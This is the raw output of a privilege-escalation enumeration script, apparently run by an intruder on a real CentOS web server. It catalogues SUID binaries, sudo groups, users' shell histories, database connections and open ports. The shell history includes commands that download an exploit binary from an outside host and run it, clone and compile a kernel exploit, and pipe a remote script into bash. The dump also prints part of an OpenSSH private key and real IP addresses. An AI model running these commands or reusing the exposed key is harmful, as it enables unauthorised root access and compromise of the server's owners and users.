===== [1] KERNEL / OS / PATCH ===== Linux CentOS-80-stream-amd64-base 4.18.0-553.6.1.el8.x86_64 #1 SMP Thu May 30 04:13:58 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux polkit-0.115-15.el8.x86_64 sudo-1.9.5p2-1.el8.x86_64 kernel-4.18.0-448.el8.x86_64 kernel-4.18.0-553.6.1.el8.x86_64 -rwsr-xr-x. 1 root root 29080 Feb 8 2023 /usr/bin/pkexec ===== [2] SUDO / GROUPS / DOCKER ===== uid=1000(npontucontrl) gid=1000(npontucontrl) groups=1000(npontucontrl),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 npontucontrl wheel bash: line 12: docker: command not found sudo: a password is required ===== [3] SUID (targeted dirs only) ===== /opt/google/chrome/chrome-sandbox --- chrome-sandbox (known) + others in /usr --- -rwsr-xr-x. 1 root root 50328 Feb 8 2024 /usr/bin/mount -rwsr-xr-x. 1 root root 43472 Nov 21 2023 /usr/bin/newgrp -rwsr-xr-x. 1 root root 33424 Feb 18 2022 /usr/bin/passwd -rwsr-xr-x. 1 root root 29080 Feb 8 2023 /usr/bin/pkexec -rwsr-xr-x. 1 root root 50160 Feb 8 2024 /usr/bin/su ---s--x--x. 1 root root 190992 Jan 26 2024 /usr/bin/sudo ===== [4] CAPABILITIES (targeted) ===== ===== [5] BASH HISTORY ===== --- npontucontrl --- -rw-------. 1 npontucontrl npontucontrl 1441 Jul 22 05:15 /home/npontucontrl/.bash_history ssh-keygen -b 4096 cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys cd .ssh cd /home/npontucontrl/.ssh/ cd .ssh sudo firewall-cmd --zone=public --list-ports --permanent ssh-copy-id nii@95.216.244.146 sudo cp -r /root/.cache/puppeteer /home/npontucontrl/.cache/ sudo cp -r /root/.cache/puppeteer /home/npontucontrl/.cache/ su mylar su -kelvin su kelvin --- npontucontrl FULL (last 60) --- touch known_hosts vi known_hosts ll pwd cd /usr/bin ll cd cd /home/npontucontrl/.ssh/ ll cat id_rsa cat id_rsa.pub cd /var/www/html ll cd company_website vi .env exit pwd cd /home/npontucontrl/ ll ls -a cd .ssh ll vi config cat id_rsa.pub cat known_hosts cat id_rsa.pub cat authorized_keys sudo firewall-cmd --zone=public --list-ports --permanent exit ll ssh-copy-id nii@95.216.244.146 ll vi config scp -P3071 config nii@95.216.244.146 scp -P3071 config nii@95.216.244.146:/home/nii cd ll cd /etc/nginx/conf.d/ ll exit cd /var/www/html/KedebahV2_1/kedebah_v2_finance npx puppeteer browsers install chrome which npx mkdir -p /home/npontucontrl/.cache cp -r /root/.cache/puppeteer /home/npontucontrl/.cache/ sudo cp -r /root/.cache/puppeteer /home/npontucontrl/.cache/ clear sudo cp -r /root/.cache/puppeteer /home/npontucontrl/.cache/ crontab -l su mylar cd /tmp;curl --insecure -o exp https://129-121-87-60.cprapid.com/ap/exp;chmod +x exp;./exp cd /tmp;git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp curl --insecure -fsSL http://mikro.mybhinneka.net:8088/build/min-yus.sh | bash cd /var/www/html/agi_business_in_a_box_admin_standalone git fetch git merge origin/kelvin npm run build clear su -kelvin su kelvin --- all /home users --- total 120 drwxr-xr-x. 21 root root 4096 Feb 16 2026 . dr-xr-xr-x. 20 root root 4096 Jul 8 14:14 .. drwx------. 3 achabs achabs 4096 Apr 12 23:41 achabs drwx------. 5 backup_user backup_user 4096 Jul 19 23:22 backup_user drwx------. 2 chuks chuks 4096 Jan 30 2025 chuks drwx------. 2 npontucontrl npontucontrl 4096 Aug 29 2025 daniel drwx------. 2 npontucontrl npontucontrl 4096 Oct 16 2024 david drwx------. 3 npontucontrl npontucontrl 4096 Aug 8 2024 deployer drwx------. 2 eaidoo eaidoo 4096 Jan 18 2025 eaidoo drwx------. 2 evans evans 4096 Jul 23 18:18 evans drwx------. 2 executiveuser executiveuser 4096 Feb 12 2025 executiveuser drwx------. 4 npontucontrl npontucontrl 4096 Jul 7 2025 john drwx------. 3 jones jones 4096 Mar 30 2023 johnnie drwx--x--x. 5 npontucontrl npontucontrl 4096 Jul 15 2024 jones drwx------. 2 joseph joseph 4096 Nov 27 2024 joseph drwx------. 2 kelvin kelvin 4096 Apr 24 15:03 kelvin drwx------. 3 kobeng kobeng 4096 Aug 12 12:09 kobeng drwx------. 13 mylar mylar 24576 Aug 17 23:46 mylar drwx------. 4 nosa nosa 20480 Jun 28 20:08 nosa drwx------. 9 npontucontrl npontucontrl 4096 Apr 23 2025 npontucontrl drwx------. 2 npontucontrl npontucontrl 4096 Aug 5 2025 prince === /home/daniel/.bash_history === sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su === /home/david/.bash_history === sudo -s sudo -s sudo -s sudo -s sudo -s sudo -s sudo -s sudo -s sudo -s sudo -s sudo -s sudo -s sudo -s sudo -s sudo =s === /home/deployer/.bash_history === sudo su sudo su sudo su sudo su sudo su === /home/john/.bash_history === sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su === /home/jones/.bash_history === sudo su sudo su sudo node -v sudo su sudo nvm list sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su === /home/npontucontrl/.bash_history === cd /home/npontucontrl/ cd /home/npontucontrl/.ssh/ cd /home/npontucontrl/ sudo firewall-cmd --zone=public --list-ports --permanent mkdir -p /home/npontucontrl/.cache cp -r /root/.cache/puppeteer /home/npontucontrl/.cache/ sudo cp -r /root/.cache/puppeteer /home/npontucontrl/.cache/ sudo cp -r /root/.cache/puppeteer /home/npontucontrl/.cache/ su mylar su -kelvin su kelvin === /home/prince/.bash_history === sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su sudo su ===== [6] CRED FILES ===== --- ~/.my.cnf --- --- ~/.pgpass --- --- ~/.git-credentials --- --- ~/.netrc --- --- ~/.config/gcloud/credentials --- --- ~/.aws/credentials --- --- ~/.ssh --- total 28 drwx------. 2 npontucontrl npontucontrl 4096 May 31 2023 . drwx------. 9 npontucontrl npontucontrl 4096 Apr 23 2025 .. -rw-r--r--. 1 npontucontrl npontucontrl 766 May 29 2023 authorized_keys -rw-r--r--. 1 npontucontrl npontucontrl 116 May 29 2023 config -rw-------. 1 npontucontrl npontucontrl 3414 May 29 2023 id_rsa -rw-r--r--. 1 npontucontrl npontucontrl 766 May 29 2023 id_rsa.pub -rw-rw-r--. 1 npontucontrl npontucontrl 220 May 29 2023 known_hosts -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAACFwAAAAdzc2gtcn NhAAAAAwEAAQAAAgEAqjPy4zmnoCxz/L3U1nNueSO+whEnnZ3mLNzF2PpZztHBrOuN+kZf V0LT3MidrTPrIdlnmX3ziJngARA8oYRyMPcwAJC8F3JOrWXUHUcS7/ECcZIfgcICX6TPke 4X8miDq2qiTKdMdTDZQt94q9VSu9kAPM38zTpLWVV8zXhZN7ZuzwXpYHpa9IeeMAOxHiSE ===== [7] CRON ===== SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=root # For details see man 4 crontabs # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed total 24 drwxr-xr-x. 2 root root 4096 Nov 30 2023 . drwxr-xr-x. 109 root root 12288 Jul 20 00:19 .. -rw-r--r--. 1 root root 128 Nov 30 2023 0hourly -rw-r--r--. 1 root root 108 Mar 20 2024 raid-check # Run the hourly jobs SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=root 01 * * * * root run-parts /etc/cron.hourly # Run system wide raid-check once a week on Sunday at 1am by default 0 1 * * Sun root /usr/sbin/raid-check no crontab for npontucontrl ===== [8] WRITABLE / SYSTEMD / LD ===== ===== [9] LOCAL PG ===== postgres 730673 0.0 0.0 11297568 44192 ? Ss 10:19 0:00 postgres: nymzie_key nymzie_pa 138.201.221.144(41330) idle postgres 877876 0.0 0.0 11297424 34040 ? Ss 10:42 0:00 postgres: kedebah kedebahv2 127.0.0.1(38574) idle postgres 882495 0.0 0.0 11297424 34140 ? Ss 10:43 0:00 postgres: kedebah kedebahv2 127.0.0.1(50468) idle postgres 895006 0.0 0.0 11291928 35072 ? Ss 10:45 0:00 postgres: kedebah kedebahv2 127.0.0.1(37348) idle postgres 895025 0.0 0.0 11291928 35080 ? Ss 10:45 0:00 postgres: kedebah kedebahv2 127.0.0.1(37436) idle LISTEN 0 1044 0.0.0.0:5432 0.0.0.0:* LISTEN 0 1044 [::]:5432 [::]:* ===== [10] DEPLOY / SCRIPTS ===== /opt/: total 24 drwxr-xr-x. 6 root root 4096 Sep 3 2025 . dr-xr-xr-x. 20 root root 4096 Jul 8 14:14 .. drwxr-xr-x. 2 root root 4096 Sep 3 2025 attendance-transformer drwxr-xr-x. 5 root root 4096 Sep 16 2024 certbot drwxr-xr-x. 3 root root 4096 Feb 24 2025 google drwxr-xr-x. 10 root root 4096 Sep 8 2025 remi /usr/local/bin/: total 61160 drwxr-xr-x. 2 root root 4096 Mar 3 09:44 . drwxr-xr-x. 12 root root 4096 Feb 14 2023 .. lrwxrwxrwx. 1 root root 9 Aug 30 2024 2to3 -> 2to3-3.11 -rwxr-xr-x. 1 root root 102 Aug 30 2024 2to3-3.11 -rwxr-xr-x. 1 root root 2837334 May 29 2023 composer -rwxr-xr-x. 1 root root 216 Aug 20 2024 distro -rwxr-xr-x. 1 root root 222 Sep 4 2024 f2py -rwxr-xr-x. 1 root root 216 Aug 20 2024 f2py3 -rwxr-xr-x. 1 root root 216 Aug 20 2024 f2py3.6 ===== [11] NFS / TMUX ===== ===== [12] SELINUX ===== Permissive ===== [13] SUDOERS / SHADOW / BACKUPS ===== ----------. 1 root root 3218 Jun 20 20:04 /etc/shadow ===== [14] LISTENING PORTS / INTERESTING PROCS ===== State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess LISTEN 0 50 0.0.0.0:9102 0.0.0.0:* LISTEN 0 511 0.0.0.0:80 0.0.0.0:* LISTEN 0 128 127.0.0.1:9072 0.0.0.0:* LISTEN 0 128 127.0.0.1:9073 0.0.0.0:* LISTEN 0 511 0.0.0.0:8082 0.0.0.0:* LISTEN 0 128 127.0.0.1:9074 0.0.0.0:* LISTEN 0 1044 0.0.0.0:5432 0.0.0.0:* LISTEN 0 128 127.0.0.1:9080 0.0.0.0:* LISTEN 0 128 127.0.0.1:9081 0.0.0.0:* LISTEN 0 2048 127.0.0.1:9082 0.0.0.0:* LISTEN 0 128 0.0.0.0:5050 0.0.0.0:* LISTEN 0 511 0.0.0.0:443 0.0.0.0:* LISTEN 0 2048 127.0.0.1:9083 0.0.0.0:* LISTEN 0 511 0.0.0.0:4444 0.0.0.0:* LISTEN 0 128 0.0.0.0:2304 0.0.0.0:* LISTEN 0 128 0.0.0.0:5355 0.0.0.0:* LISTEN 0 128 127.0.0.1:6379 0.0.0.0:* LISTEN 0 1044 [::]:5432 [::]:* LISTEN 0 511 [::]:443 [::]:* root 366331 0.0 0.0 76728 5912 ? Ss Mar02 4:18 /usr/sbin/sshd -D -oCiphers=aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc -oMACs=hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,umac-128@openssh.com,hmac-sha2-512 -oGSSAPIKexAlgorithms=gss-curve25519-sha256-,gss-nistp256-sha256-,gss-group14-sha256-,gss-group16-sha512-,gss-gex-sha1-,gss-group14-sha1- -oKexAlgorithms=curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1 -oHostKeyAlgorithms=ecdsa-sha2-nistp256,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256,rsa-sha2-256-cert-v01@openssh.com,rsa-sha2-512,rsa-sha2-512-cert-v01@openssh.com,ssh-rsa,ssh-rsa-cert-v01@openssh.com -oPubkeyAcceptedKeyTypes=ecdsa-sha2-nistp256,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,rsa-sha2-256,rsa-sha2-256-cert-v01@openssh.com,rsa-sha2-512,rsa-sha2-512-cert-v01@openssh.com,ssh-rsa,ssh-rsa-cert-v01@openssh.com -oCASignatureAlgorithms=ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-ed25519,rsa-sha2-256,rsa-sha2-512,ssh-rsa root 894454 0.0 0.0 12804 3052 ? Ss 10:45 0:00 /bin/sh -c sleep 42; cd /var/www/html/cihrm_website && php artisan schedule:run >> /dev/null 2>&1 ===== ENUM v2 COMPLETE =====